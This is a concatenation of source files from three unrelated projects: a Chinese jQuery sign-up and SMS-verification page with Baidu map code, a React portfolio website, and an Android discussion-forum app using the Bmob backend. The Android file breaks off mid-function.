if(arr != null) return unescape(arr[2]); return null;
}
function delCookie(name)//删除cookie
{
var exp = new Date();
exp.setTime(exp.getTime() - 1);
var cval=getCookie(name);
if(cval!=null) document.cookie= name + "="+cval+";expires="+exp.toGMTString();
}
if(!getCookie('oemid')){
addCookie('oemid',getQueryString("oemid"),7);
}
if(getQueryString('refer')=='null' || getQueryString('refer')==null){
addCookie('refer','207',7);
}else{
addCookie('refer',getQueryString("refer"),7);
}
var refer="";
if(getCookie('refer')=='null' || getCookie('refer')==null ){
refer="207";
}else{
refer=getCookie('refer');
}
//提交信息判断
//写入cookie
$(function(){
$('.error_tips').css('display','none');
$('.submit2').click(function(){
ag_sendreg(1);
var info = $('#frist').serializeArray();
var isNull=/\s+/ //地址空格
//判断各个信息的合性
var codepnoe = /^(13[0-9]{9})|(18[0-9]{9})|(15[0-9]{9})|(14[57][0-9]{8})$/ //手机正则
//alert(codepnoe.test(info[5]['value']));
//表单判断
//
var splics = '';
var strer = '';
str = $('#frist').find('input').eq(0).val();
splics = str.split(' ');
for(var i=0;i<splics.length;i++){
if(splics[i].length>0){
strer += splics[i];
}
}
$('#frist').find('input').eq(0).val(strer);
var splics = '';
var strer = '';
str = $('#frist').find('input').eq(2).val();
splics = str.split(' ');
for(var i=0;i<splics.length;i++){
if(splics[i].length>0){
strer += splics[i];
}
}
$('#frist').find('input').eq(2).val(strer);
var frist = document.getElementById("frist");
if(info[0]['value'].length <1){
$('.m_error_1').show();
return false;
}else if(info[1]['value'].length <1){
$('.m_error_6').show();
$('.m_error_1').hide();
return false;
}else if(info[2]['value'] == '输入公司名称<必填>'){
$('.m_error_6').hide();
$('.m_error_2').show();
return false;
}else if(info[3]['value'] == '输入您的座机号<选填>'){
$('.m_error_2').hide();
frist.zpone.value = '';
// return false;
}
if(info[4]['value'] == '请输入您的姓名<必填>'){
$('.m_error_3').show();
return false;
}else if(info[5]['value'] == '请输入您的手机号<必填>'){
$('.m_error_3').hide();
$('.m_error_4').show();
$('.m_error_7').hide();
return false;
}else if(info[5]['value'].length>11 || info[5]['value'].length<11){
$('.m_error_3').hide();
$('.m_error_4').hide();
$('.m_error_5').show();
$('.m_error_7').hide();
$('.m_error_8').hide();
return false;
}else if(!codepnoe.test(info[5]['value'])){
$('.m_error_7').show();
$('.m_error_4').hide();
$('.m_error_5').hide();
$('.m_error_8').hide();
return false;
}else {
$('.m_error_7').hide();
//表单判断
//报名信息提交到数据库
$.ajax({
type:"get",
url:"http://lyzsk012345.duapp.com/index.php/front/sign",
data:{"acnum":"15","prize":'1',"province":encodeURIComponent($("#frist option:selected").eq(0).text()),"city":encodeURIComponent($("#frist option:selected").eq(1).text()),"company":encodeURIComponent(info[2]['value']),"landline":encodeURIComponent(frist.zpone.value),"linkman":encodeURIComponent(info[4]['value']),"telephone":info[5]['value'],"source":'1'},
dataType: "jsonp",
jsonp: "call", //php 的get 获取的jsonp 名称
jsonpCallback:"abc", //回调函数名称
success:function(data){
if(data.msg == 'cf'){
$('.m_error_8').show();
$('.m_error_5').hide();
return false;
}else if(data.msg == 'no'){
alert('您的操作已经超过10次,明天再来吧');
return false;
}else if(data.msg == 'ok'){
//alert('报名成功!');
$('.zc_left').addClass("hidden");
$('.form_left1').removeClass("hidden");
//向上海轩辕发送数据
var ssy = document.getElementById("frist");
var html ='<iframe width="500" height="300" src="senddate.html?province='+ssy.province.value+','+ssy.city.value+','+ssy.gsname.value+','+ssy.user.value+','+ssy.pone.value+','+refer+'"></iframe>';
$('#iframe').html(html);
}
},
error : function (xhr, errorText, errorType) {
}
});
}
})
//发送手机验证码以及显示验证码
$(".sub2").click(function(){
var info = $('#form2').serializeArray();
var codephone = /^(13[0-9]{9})|(18[0-9]{9})|(15[0-9]{9})|(14[57][0-9]{8})$/ //手机正则
if(info[0]['value']<1){
$("#form2 span").hide();
$(".form2_i_1").show();
return false;
}else if(!codephone.test(info[0]['value'])||info[0]['value'].length>11){
$("#form2 span").hide();
$(".form2_i_4").show();
return false;
}else if(info[1]['value']<1){
$("#form2 span").hide();
$(".form2_i_2").show();
return false;
}else{
//远程判断验证码是否正确
$.ajax({
type:"get",
url:"http://lyzsk012345.duapp.com/index.php/front/checkcode",
data:{"telpone":info[0]['value'],"ponecode":info[1]['value'],"code":info[2]['value']},
dataType: "jsonp",
jsonp: "call", //php 的get 获取的jsonp 名称
jsonpCallback:"abc", //回调函数名称
success:function(data){
if(data.msg=='o1'){
alert('手机验证码不正确 !');
return false;
}else if(data.msg=='o2'){
alert('验证码不正确 !');
return false;
}else if(data.msg=='o3'){
$('.tan_tab').addClass('hidden');
$('.tan_tab2').removeClass('hidden');
$('.tan_nav li').removeClass('on');
$('.tan_nav').children('li').eq(1).addClass('on');
//判断用状态
$.ajax({
type:"get",
url:"http://lyzsk012345.duapp.com/index.php/front/checkstate",
data:{"acnum":"15"},
dataType: "jsonp",
jsonp: "call", //php 的get 获取的jsonp 名称
jsonpCallback:"abc", //回调函数名称
success:function(data){
if(data.msg!='1'){
//显示所有状态
var infos = document.getElementById("form3");
infos.baiduuser.value=data.baiduuser;
infos.cfint.value=data.baiduuser;
infos.recipient.value=data.recname;
infos.recivetel.value=data.rephone;
infos.reciveaddress.value=data.readdress;
//不可再编辑
infos.baiduuser.setAttribute('disabled','disabled');
infos.cfint.setAttribute('disabled','disabled');
infos.recipient.setAttribute('disabled','disabled');
infos.recivetel.setAttribute('disabled','disabled');
infos.reciveaddress.setAttribute('disabled','disabled');
$('.sub3').css('display','none');
$('#hedui').html('您现在已经处于'+data.state+'状态,不可再编辑');
}
},
error : function (xhr, errorText, errorType) {
}
});
}
//成功则转跳
},
error : function (xhr, errorText, errorType) {
}
});
}
});
//提交凤巢账号
$('.sub3').click(function(){
var info = $('#form3').serializeArray();
var codepnoe = /^(13[0-9]{9})|(18[0-9]{9})|(15[0-9]{9})|(14[57][0-9]{8})$/ //手机正则
if(info[0]['value'].length<1){
$("#form3 span").hide();
$(".form3_i_1").show();
return false;
}
else if(info[1]['value'] !== info[0]['value']){
$("#form3 span").hide();
$(".form3_i_2").show();
return false;
}
else if(info[2]['value'].length<1){
$("#form3 span").hide();
$(".form3_i_3").show();
return false;
}
else if(info[3]['value'].length<1){
$("#form3 span").hide();
$(".form3_i_4").show();
return false;
}
else if(!codepnoe.test(info[3]['value']||info[3]['value'].length>11)){
$("#form3 span").hide();
$(".form3_i_4").show();
return false;
}
else if(info[4]['value'].length<1){
$("#form3 span").hide();
$(".form3_i_5").show();
return false;
}
else {
$("#form3 span").hide();
}
$.ajax({
type:"get",
url:"http://lyzsk012345.duapp.com/index.php/front/pchao",
data:{"acnum":"15","baiduuser":encodeURIComponent(info[0]['value']),"cfint":encodeURIComponent(info[1]['value']),"recipient":encodeURIComponent(info[2]['value']),"recivetel":encodeURIComponent(info[3]['value']),"reciveaddress":encodeURIComponent(info[4]['value']),"hosj":encodeURIComponent($('#tel').val())},
dataType: "jsonp",
jsonp: "call", //php 的get 获取的jsonp 名称
jsonpCallback:"abc", //回调函数名称
success:function(data){
alert('凤巢账号已存在');
return;
},
error : function (xhr, errorText, errorType) {
//$(".ad").addClass('hidden');
//$(".ad_bot").addClass('hidden');
//$("#form3").addClass('hidden');
$('.tan_tab').addClass('hidden');
$('.tan_tab3').removeClass('hidden');
$('#form3 input').val('');
$('.tan_nav li').removeClass('on');
$('.tan_nav').children('li').eq(2).addClass('on');
//$('.top').hide()
//$('.bottom').show();
countDown(3,'http://huodong.baidu.com/2014worldcup/');
}
});
})
//刷新验证码
$('#rside').click(function(){
document.getElementById('code').src = "http://lyzsk012345.duapp.com/index.php/front/code?&round="+Math.random();
document.getElementById('code').style.display = 'block';
document.getElementById('rside').style.display = 'block';
})
//获取手机验证码
$('.sendMsg').click(function(){
//显示验证码
document.getElementById('code').src = "http://lyzsk012345.duapp.com/index.php/front/code?&round="+Math.random();
var info = $('#form2').serializeArray();
var codepnoe = /^(13[0-9]{9})|(18[0-9]{9})|(15[0-9]{9})|(14[57][0-9]{8})$/ //手机正则
if(info[0]['value'].length<1){
$('.tips').hide();
$('#form2 span').hide();
$('.form2_i_1').show();
return false;
}else if(!codepnoe.test(info[0]['value'])){
$('#form2 span').hide();
$('.form2_i_4').show();
return false;
}else {
$('#form2 span').hide();
$(".codesuccess1").show();
document.getElementById('code').style.display = 'block';
document.getElementById('rside').style.display = 'block';
//发送手机验证码
$.ajax({
type:"get",
url:"http://lyzsk012345.duapp.com/index.php/front/send?"+Math.random(),
data:{"acnum":"15","telpone":info[0]['value'],"ponecode":info[1]['value'],"code":info[2]['value'],"type":'nump'},
dataType: "jsonp",
jsonp: "call", //php 的get 获取的jsonp 名称
jsonpCallback:"abc", //回调函数名称
success:function(data){
if(data.msg == 'err'){
$(".codesuccess1").hide();
$(".codesuccess3").show();
return false;
}else if(data.msg == 'oi'){
$('.tips').hide();
alert('您好,您一天内操作次数过多,请明天再试!');
return false;
}else{
$(".codesuccess3").hide();
var i = 60;
var stop = setInterval(function(){
if(i<0){
clearInterval(stop);
$('.sendMsg').css('display','inline-block');
$('.sendMsg').css('class','sendMsg');
$('.sendMsg').css('color','#000');
$('.sendMsgs').css('display','none');
$('.sendMsg').val('获取手机验证码');
}else{
$('.sendMsg').css('display','none');
$('.sendMsgs').css('display','inline-block');
$('.sendMsgs').val(i+'秒后重新发送');
$('.sendMsgs').css('color','#999');
}
i--;
},1000)
}
},
error : function (xhr, errorText, errorType) {
}
});
}
})
//input聚焦value为空
var arrh = $('#frist').serializeArray();
$('#frist input').focus(function(){
ode = $(this).val();
$(this).val('');
});
$('#frist input').blur(function(){
if($(this).val()){
$(this).css('color','#000');
}else{
$(this).val(ode);
}
});
})
<file_sep>
// 自定义marker icon
var defaultIcon = HDl_MAP_libs.addIcon('img/default.gif'),
Aicon = HDl_MAP_libs.addIcon('img/A.gif'),
Bicon = HDl_MAP_libs.addIcon('img/B.gif'),
Micon = HDl_MAP_libs.addIcon('img/marker.gif');
//初始化页面显示效果
$('.mapList,.con-list,#allmap').height(HDl_MAP_height);
$('#addInfo form').height(HDl_MAP_height-40);
$('#addInfo #item2mobile form').height(HDl_MAP_height-100);
$('.listStyle').height(HDl_MAP_height).css('overflow','auto');
// $('#addInfo').css({'right':0,'z-index':100});
// $('#myMap').HDL_MAP_animate();
// 首次进入执行init事件
HDL_MAP_init();
// 加载实时搜索控件
$('#myList').HDL_MAP_search();
$('#addList').HDL_MAP_search();
$('#mdList').HDL_MAP_search();
// 创建Map实例
var map = new BMap.Map("allmap"),
addMap = new BMap.Map("addMap");
// 初始化地图中心点
map.centerAndZoom(new BMap.Point(116.066381, 40.066381), 13);
addMap.centerAndZoom(new BMap.Point(116.066381, 40.066381), 13);
// 定义搜索函数
var local = new BMap.LocalSearch(map, {
renderOptions: {
map: map
}
});
//定位当前位置,定义搜索范围,标注搜索结果点;
HDl_MAP_libs.location(function(r){
HDl_MAP_libs.pointMarker(r.point);
HDl_MAP_ps = HDl_MAP_libs.pointNum(false, r.point.lng, r.point.lat);
HDl_MAP_pe = HDl_MAP_libs.pointNum(true, r.point.lng, r.point.lat);
HDl_MAP_libs.polygon(HDl_MAP_ps,HDl_MAP_pe,map);
})
// 底部tab切换
$('.myMap .tab-item').on('click', function(event) {
var i = $(this).index();
if (i==0) {
$('#myMap').HDL_MAP_animate('添加优秀企业');
$('#addMap').HDL_MAP_animate('添加优秀企业');
HDl_MAP_libs.location(function(r){
HDl_MAP_libs.pointMarker(r.point);
addMap.clearOverlays();
HDl_MAP_libs.components(r.point,HDl_MAP_libs.dizhi)
})
HDl_MAP_libs.drags();
}else{
$('#myList').HDL_MAP_animate('附近优秀企业');
}
});
//经营信息切换
$('.time span.icon-plus').HDL_MAP_tabNav();
$('.time span.icon-right-nav').HDL_MAP_tabNav();
$('.time span.icon-left-nav').HDL_MAP_tabNav();
//切换排序
$('.popover').on('click', 'li',function(event) {
$('.backdrop').remove();
$(this).closest('.popover').hide();
var string = $(this).html();
//ajax排序代码...
});
//连锁列表点击事件
var liansuoNext = function(obj){
var str = $(obj).find('a').find('span').html();
addComponents(str)
}
//添加优秀企业
var addComponents = function(str){
$('#myMap').HDL_MAP_animate();
$('#addPlus').HDL_MAP_animate("添加优秀企业");
str ? $('#addPlus input').eq(0).val(str) : '';
}
//附近门店详细信息
$('.table-view').on('click', 'li', function(event) {
if($(this).hasClass('active')){
$(this).removeClass('active');
}else{
$(this).addClass('active');
}
});
//是否是连锁企业
$('#item1mobile').on('click', '.toggle', function(event) {
if($(this).hasClass('active')){
$('.liansuo').hide();
}else{
$('.liansuo').show();
$('.liansuo').on('click', function(event) {
$('#mdList').HDL_MAP_animate('查看连锁企业');
});
}
});
//点击slide标题,查看门店详细信息
$('.slider').on('click', '.slide', function(event) {
var id = $(this).attr('id');
HDl_MAP_libs.viewInfo(id)
});
//上传图片
$('.pic-add').on('click', function() {
$(this).parent().next().click();
});
//请求数据库已有门店数据
$.ajax({
url: 'MapImformation/ceshi',
type: 'post',
dataType: 'json',
success : function(data){
console.log(data);
HDl_MAP_libs.addMarker(data);
HDl_MAP_libs.addSlide(data);
HDl_MAP_libs.addMapMarker(data);
// var slideData = {
// data : data
// };
// var slideHtml = template('slide', slideData);
// $('#mySlider .slide-group').html(slideHtml);
}
})
<file_sep>// alert弹出层代码
window.alert = function(str)
{
var shield = document.createElement("DIV");
shield.id = "shield";
shield.style.position = "absolute";
shield.style.left = "0px";
shield.style.top = "0px";
shield.style.width = "100%";
shield.style.height = "0px";
//弹出对话框时的背景颜色
shield.style.background = "#fff";
shield.style.textAlign = "center";
shield.style.zIndex = "25";
//背景透明 IE有效
//shield.style.filter = "alpha(opacity=0)";
var alertFram = document.createElement("DIV");
alertFram.id="alertFram";
alertFram.style.position = "absolute";
alertFram.style.left = "50%";
alertFram.style.top = "1510px";
alertFram.style.marginLeft = "-140px";
alertFram.style.marginTop = "-70px";
alertFram.style.width = "300px";
alertFram.style.height = "140px";
alertFram.style.background = "#e4053f";
alertFram.style.textAlign = "center";
alertFram.style.lineHeight = "150px";
alertFram.style.zIndex = "300";
strHtml = "<ul style=\"list-style:none;margin:0px;padding:0px;width:100%\">\n";
strHtml += " <li style=\"background:#fcfcfc;text-align:center;height:100px;line-height:40px;font-size:12px;border:1px solid #ffecf1;\">"+str+"</li>\n";
strHtml += " <li style=\"background:#e4053f;text-align:center;height:40px;line-height:40px;font-weight:bold;\"><input type=\"button\" value=\"确 定\" onclick=\"doOk()\" style=\"margin-top:10px;\" /></li>\n";
strHtml += "</ul>\n";
alertFram.innerHTML = strHtml;
document.body.appendChild(alertFram);
document.body.appendChild(shield);
this.doOk = function(){
alertFram.style.display = "none";
shield.style.display = "none";
}
alertFram.focus();
document.body.onselectstart = function(){return false;};
}
| fafcf0c053b76612c1e6fdb458af8735be4ef403 | [
"JavaScript",
"Markdown"
] | 9 | JavaScript | div-wang/Project | 4c4868ed7ac8458c03e0311fb6c1709d8a680fdc | b8bb0d9d6c928d1819f55f7a876c7b7713ccc03f |
refs/heads/master | <repo_name>grachiele/portfolio_website<file_sep>/src/components/ResumePDF.js
import React from 'react'
const ResumePDF = () => {
return (
<embed src={require("./Resume.pdf")} width="100%" height="1000px" type="application/pdf" />
);
}
export default ResumePDF;
<file_sep>/src/components/NavBar.js
import React from 'react';
import Drawer from 'material-ui/Drawer';
import MenuItem from 'material-ui/MenuItem';
import { Grid } from 'semantic-ui-react'
import { NavLink } from 'react-router-dom'
class Nav extends React.Component {
render() {
return (
<Grid.Row>
<Drawer open={this.props.open} docked={false} onRequestChange={this.props.handleToggle}>
<NavLink to='/'><MenuItem onClick={this.props.handleToggle}>Home</MenuItem></NavLink>
<NavLink to='/resume'><MenuItem onClick={this.props.handleToggle}>Resume</MenuItem></NavLink>
<NavLink to='/blog'><MenuItem onClick={this.props.handleToggle}>Blog</MenuItem></NavLink>
<NavLink to='/contact'><MenuItem onClick={this.props.handleToggle}>Contact</MenuItem></NavLink>
<NavLink to='https://www.codewars.com/users/grachiele'target="__blank"><MenuItem onClick={this.props.handleToggle}><embed src="https://www.codewars.com/users/grachiele/badges/micro" /></MenuItem></NavLink>
</Drawer>
</Grid.Row>
);
}
}
export default Nav
<file_sep>/src/components/ProjectModals.js
import React from 'react'
import { Button, Grid, Header, Icon, Modal } from 'semantic-ui-react'
class ProjectModals extends React.Component {
constructor(){
super()
this.state = {
modalOpen1: false,
modalOpen2: false,
modalOpen3: false,
modalOpen4: false
}
}
handleOpen1 = () => {
this.setState({ modalOpen1: true })
}
handleClose1 = () => {
this.setState({ modalOpen1: false })
}
handleOpen2 = () => {
this.setState({ modalOpen2: true })
}
handleClose2 = () => {
this.setState({ modalOpen2: false })
}
handleOpen3 = () => {
this.setState({ modalOpen3: true })
}
handleClose3 = () => {
this.setState({ modalOpen3: false })
}
handleOpen4 = () => {
this.setState({ modalOpen4: true })
}
handleClose4 = () => {
this.setState({ modalOpen4: false })
}
render() {
return (
<Grid.Column width={16} padded="horizontally">
<h5>Check out some of my projects below!</h5>
<Modal
trigger={<Button basic color='black' onClick={this.handleOpen1}>Tekcit</Button>}
open={this.state.modalOpen1}
onClose={this.handleClose1}
>
<Modal.Content>
<Modal.Description>
<Header>Tekcit</Header>
<p>I built a login portal, using Ruby on Rails, that allows users to create accounts and save their information. I created a frontend flow, with Ruby on Rails and Semantic UI, to populate theater locations and showtimes. I developed a database with Ruby on Rails to store user information. I constructed an interactive front end using Ruby on Rails and Semantic UI for styling.</p>
</Modal.Description>
</Modal.Content>
<Modal.Actions>
<a href="https://github.com/grachiele/Tekcit-Movies" target="_blank" rel="noopener noreferrer"><Button primary>
Tekcit Github Repo
</Button></a>
<a href="https://tekcit-movies.herokuapp.com/" target="_blank" rel="noopener noreferrer"><Button primary>
Visit Tekcit
</Button></a>
<Button negative onClick={this.handleClose1}>
Close <Icon name='right chevron' />
</Button>
</Modal.Actions>
</Modal>
<Modal
trigger={<Button basic color='black' onClick={this.handleOpen2}>ToDo Trackr</Button>}
open={this.state.modalOpen2}
onClose={this.handleClose2}
>
<Modal.Content>
<div className="video-container video-container-16x9">
<iframe title="ToDo Trackr" src="https://www.youtube.com/embed/2E3oana8Yfw" gesture="media" allowFullScreen></iframe>
</div>
<Modal.Description>
<Header>ToDo Trackr CLI App</Header>
<p>I created a CLI using Ruby, that stores user todos in Ruby objects and fetches current local weather from an API.</p>
</Modal.Description>
</Modal.Content>
<Modal.Actions>
<a href="https://github.com/bperl/module-one-final-project-guidelines-web-071717"target="_blank" rel="noopener noreferrer"><Button primary onClick={this.handleClose2}>
ToDo Trackr Github Repo <Icon name='right chevron' />
</Button></a>
<Button negative onClick={this.handleClose2}>
Close <Icon name='right chevron' />
</Button>
</Modal.Actions>
</Modal>
<Modal
trigger={<Button basic color='black' onClick={this.handleOpen3}>SubjecTutor</Button>}
open={this.state.modalOpen3}
onClose={this.handleClose3}
>
<Modal.Content>
<div className="video-container video-container-16x9">
<iframe title="ToDo Trackr" src="https://www.youtube.com/embed/mZntF0vnvvI" gesture="media" allowFullScreen></iframe>
</div>
<Modal.Description>
<Header>SubjecTutor</Header>
<p>I built a login portal, using React for the frontend and Ruby on Rails for the backend, to authenticate users. I used Virtual DOM in React to dynamically render pages without a hard refresh, to decrease page load times. I utilized a PostGRESQL database, through Ruby on Rails, to save and populate user information. I created a dynamic frontend, using React and Semantic UI-React, to show user preferences.</p>
</Modal.Description>
</Modal.Content>
<Modal.Actions>
<a href="https://github.com/grachiele/tutor_app_frontend" target="_blank" rel="noopener noreferrer"><Button primary>
Frontend Github Repo <Icon name='right chevron' />
</Button></a>
<a href="https://github.com/grachiele/tutor_app_backend" target="_blank" rel="noopener noreferrer"><Button primary>
Backend Github Repo <Icon name='right chevron' />
</Button></a>
<Button negative onClick={this.handleClose3}>
Close <Icon name='right chevron' />
</Button>
</Modal.Actions>
</Modal>
</Grid.Column>
)
}
}
export default ProjectModals
<file_sep>/src/components/ResumeSVG.js
import React from 'react'
const ResumeSVG = () => {
return (
<embed src={require("./Resume.svg")} width="100%" height="100%" />
);
}
export default ResumeSVG;
<file_sep>/src/containers/HomeContainer.js
import React from 'react';
import Home from '../components/Home';
import { Grid } from 'semantic-ui-react';
class HomeContainer extends React.Component{
render(){
return(
<Grid centered padded='vertically'>
<Home />
</Grid>
)
}
}
export default HomeContainer
<file_sep>/src/App.js
import React, { Component } from 'react';
import { Link, Route, Switch } from 'react-router-dom'
import { Grid } from 'semantic-ui-react'
import './App.css';
import HomeContainer from './containers/HomeContainer'
import ContactContainer from './containers/ContactContainer'
import BlogContainer from './containers/BlogContainer'
import NavBar from './components/NavBar'
import AppBar from 'material-ui/AppBar';
import ResumeContainer from './containers/ResumeContainer'
class App extends Component {
constructor(){
super()
this.state = {
open: false
}
}
handleClick = () => {
this.setState({
open: !this.state.open
})
}
render() {
return (
<div>
<Grid centered padded='vertically'>
<AppBar
title="<NAME>"
onLeftIconButtonTouchTap={this.handleClick}
/>
<NavBar open={this.state.open} handleToggle={this.handleClick}/>
</Grid>
<Switch>
<Route exact path="/" render={(props) => <HomeContainer {...props} />} />
<Route exact path="/blog" render={(props) => <BlogContainer {...props} />} />
<Route exact path="/contact" render={(props) => <ContactContainer {...props} />} />
<Route exact path="/resume" render={(props) => <ResumeContainer />} />
<Route render={() => <h1>404 error<br />Page not found<br /><br />Return <Link to='/'>Home</Link></h1>} />
</Switch>
</div>
);
}
}
export default App;
| dc688aa046e4f8677b10e455d3157e3b5518d848 | [
"JavaScript"
] | 6 | JavaScript | grachiele/portfolio_website | 0bae22b0e8f6337129dd230fb008f71b9d7e22d0 | 672a6dfec5e28d3c20485c4a346d2ec27beabe8d |
refs/heads/master | <repo_name>zhuyuhui1997/JXNUDiscuss-master<file_sep>/README.md
# JXNUDiscuss-master
this is JXNUDiscuss by bmob
<file_sep>/app/src/main/java/com/example/zyh/jxnudiscuss/MainActivity.java
package com.example.zyh.jxnudiscuss;
import android.app.Fragment;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.support.design.widget.FloatingActionButton;
import android.support.design.widget.Snackbar;
import android.support.v7.widget.LinearLayoutCompat;
import android.view.LayoutInflater;
import android.view.View;
import android.support.design.widget.NavigationView;
import android.support.v4.view.GravityCompat;
import android.support.v4.widget.DrawerLayout;
import android.support.v7.app.ActionBarDrawerToggle;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.Toolbar;
import android.view.Menu;
import android.view.MenuItem;
import android.widget.AdapterView;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.ListView;
import android.widget.RelativeLayout;
import android.widget.TextView;
import android.widget.Toast;
import java.util.ArrayList;
import java.util.List;
import cn.bmob.push.BmobPush;
import cn.bmob.v3.Bmob;
import cn.bmob.v3.BmobInstallation;
import cn.bmob.v3.BmobQuery;
import cn.bmob.v3.BmobUser;
import cn.bmob.v3.exception.BmobException;
import cn.bmob.v3.listener.FindListener;
import cn.bmob.v3.listener.SaveListener;
public class MainActivity extends AppCompatActivity implements NavigationView.OnNavigationItemSelectedListener ,AdapterView.OnItemClickListener {
public static Context context;
private static int RequestCodeToNewThemeActivity=1;
private ListView mainActivity_themelist_listview;
private List<Theme> themeList;
private MyThemesAdapter myThemesAdapter;
public static CommonUser currentUser;
private TextView currentUser_tv;
private ImageView imageView;
private NavigationView navigationView;
public int i=0;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
context=MainActivity.this;
Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);
setSupportActionBar(toolbar);
DrawerLayout drawer = (DrawerLayout) findViewById(R.id.drawer_layout);
ActionBarDrawerToggle toggle = new ActionBarDrawerToggle(
this, drawer, toolbar, R.string.navigation_drawer_open, R.string.navigation_drawer_close);
drawer.setDrawerListener(toggle);
toggle.syncState();
navigationView = (NavigationView) findViewById(R.id.nav_view);
navigationView.setNavigationItemSelectedListener(this);
Bmob.initialize(this, "45487cb2ed18cc0e6caa4f65e6288d11");
BmobInstallation.getCurrentInstallation().save();
themeList=getThemeList();
currentUser= BmobUser.getCurrentUser(CommonUser.class);
myThemesAdapter=new MyThemesAdapter(this,R.layout.mainactivity_singletheme,themeList);
mainActivity_themelist_listview=(ListView)findViewById(R.id.mainActivity_themeList_listview);
mainActivity_themelist_listview.setAdapter(myThemesAdapter);
View headerView = navigationView.getHeaderView(0);
currentUser_tv=(TextView)headerView.findViewById(R.id.currentuser);
imageView=(ImageView)headerView.findViewById(R.id.imageView);
imageView.setImageResource(R.drawable.youke);
if(currentUser!=null)
{
currentUser_tv.setText(currentUser.getUsername());
if (currentUser.getSex()!=null)
{
if(currentUser.getSex().equals("boy"))
{
imageView.setImageResource(R.drawable.xiaozhi_boy);
}
if (currentUser.getSex().equals("girl"))
{
imageView.setImageResource(R.drawable.meizi);
}
}
}
else
{
Toast.makeText(this,"现在是游客身份,请登陆",Toast.LENGTH_SHORT).show();
}
mainActivity_themelist_listview.setOnItemClickListener(this);
ActivityCollector.addActivity(this);
}
@Override
public void onBackPressed() {
DrawerLayout drawer = (DrawerLayout) findViewById(R.id.drawer_layout);
if (drawer.isDrawerOpen(GravityCompat.START)) {
drawer.closeDrawer(GravityCompat.START);
} else {
super.onBackPressed();
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
switch (item.getItemId())
{
case R.id.action_quit:
ActivityCollector.finishAll();break;
case R.id.action_add:
if(currentUser==null)
{
Toast.makeText(this,"现在是游客,请登陆",Toast.LENGTH_SHORT).show();
}
else
{
Intent intent=new Intent(this,NewThemeActivity.class);
startActivityForResult(intent,RequestCodeToNewThemeActivity);break;
}
case R.id.action_refresh:
Toast.makeText(this,"开始与服务器同步",Toast.LENGTH_SHORT).show();
BmobQuery<Theme> query=new BmobQuery<>();
query.setCachePolicy(BmobQuery.CachePolicy.CACHE_THEN_NETWORK);
query.include("commonUser");
query.setSkip(i);
query.setLimit(5);
i=i+5;
query.order("-updatedAt");
query.findObjects(new FindListener<Theme>() {
@Override
public void done(List<Theme> list, BmobException e) {
if (e==null)
{
for(Theme theme:list)
{
myThemesAdapter.addThemes(theme,1);
}
}
}
});
}
return true;
}
@SuppressWarnings("StatementWithEmptyBody")
@Override
public boolean onNavigationItemSelected(MenuItem item) {
// Handle navigation view item clicks here.
int id = item.getItemId();
if (id == R.id.Login) {
Intent intent =new Intent(this,LoginActivity.class);
this.startActivity(intent);
// Handle the camera action
} else if (id == R.id.UserInfo) {
Intent intent=new Intent(this,UserInfoActivity.class);
this.startActivity(intent);
} else if (id == R.id.nav_phone) {
if (currentUser!=null)
{
Intent intent=new Intent(this,BindPhoneActivity.class);
startActivity(intent);
finish();
}
else {
Toast.makeText(this,"请登陆再绑定",Toast.LENGTH_SHORT).show();
}
} else if (id == R.id.nav_manage) {
} else if (id == R.id.nav_share) {
} else if (id == R.id.nav_send) {
}
DrawerLayout drawer = (DrawerLayout) findViewById(R.id.drawer_layout);
drawer.closeDrawer(GravityCompat.START);
return true;
}
public static Context getContext(){
return context;
}
@Override
protected void onDestroy() {
super.onDestroy();
ActivityCollector.removeActivity(this);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
if(resultCode==RESULT_OK)
{
String title=data.getStringExtra("title");
String content=data.getStringExtra("content");
Theme theme=new Theme();
theme.setTheme_Title(title);
theme.setTheme_Content(content);
theme.setCommonUser(currentUser);
addTheme(theme);
}
}
public void onItemClick(AdapterView<?> parent, View view, int position, long id) {
Theme theme=themeList.get(position);
ThemeActivity.actionStart(this,theme);
}
private List<Theme> getThemeList() {
themeList=new ArrayList<Theme>();
Theme theme=new Theme();
theme.setTheme_Title("你好,朋友");
theme.setTheme_Content("朋友,欢迎来到这个社区,这是一个公益免费的社区,这里可以发布公益活动,也" +
"可以发布寻物启事等等,希望大家能在这个社区和谐愉快的活动");
themeList.add(theme);
return themeList;
}
public void addTheme(Theme theme)
{
myThemesAdapter.addThemes(theme,0);
}
}
<file_sep>/app/src/main/java/com/example/zyh/jxnudiscuss/MyCommentAdapter.java
package com.example.zyh.jxnudiscuss;
import android.content.Context;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.BaseAdapter;
import android.widget.TextView;
import android.widget.Toast;
import java.util.List;
import cn.bmob.v3.exception.BmobException;
import cn.bmob.v3.listener.SaveListener;
/**
* Created by zyh on 17-3-5.
*/
public class MyCommentAdapter extends BaseAdapter {
private Context context;
private List<Comment> commentList;
public static String Tag="MyCommentAdapter";
public MyCommentAdapter(Context context, List<Comment> commentList) {
this.context = context;
this.commentList = commentList;
}
@Override
public int getCount() {
return commentList.size();
}
@Override
public Object getItem(int position) {
return commentList.get(position);
}
@Override
public long getItemId(int position) {
return position;
}
@Override
public View getView(int position, View convertView, ViewGroup parent) {
ViewHolder viewHolder;
if(convertView==null)
{
viewHolder=new ViewHolder();
convertView= LayoutInflater.from(context).inflate(R.layout.item_comment,null);
viewHolder.comment_name=(TextView)convertView.findViewById(R.id.user_name);
viewHolder.comment_content=(TextView)convertView.findViewById(R.id.comment_content);
convertView.setTag(viewHolder);
}
else{
viewHolder=(ViewHolder)convertView.getTag();
}
viewHolder.comment_name.setText(commentList.get(position).getCommonUser().getUsername()+":");
viewHolder.comment_content.setText(commentList.get(position).getContent());
return convertView;
}
public void addcomment( Comment comment,int i)
{
commentList.add(comment);
if (i==0)
{
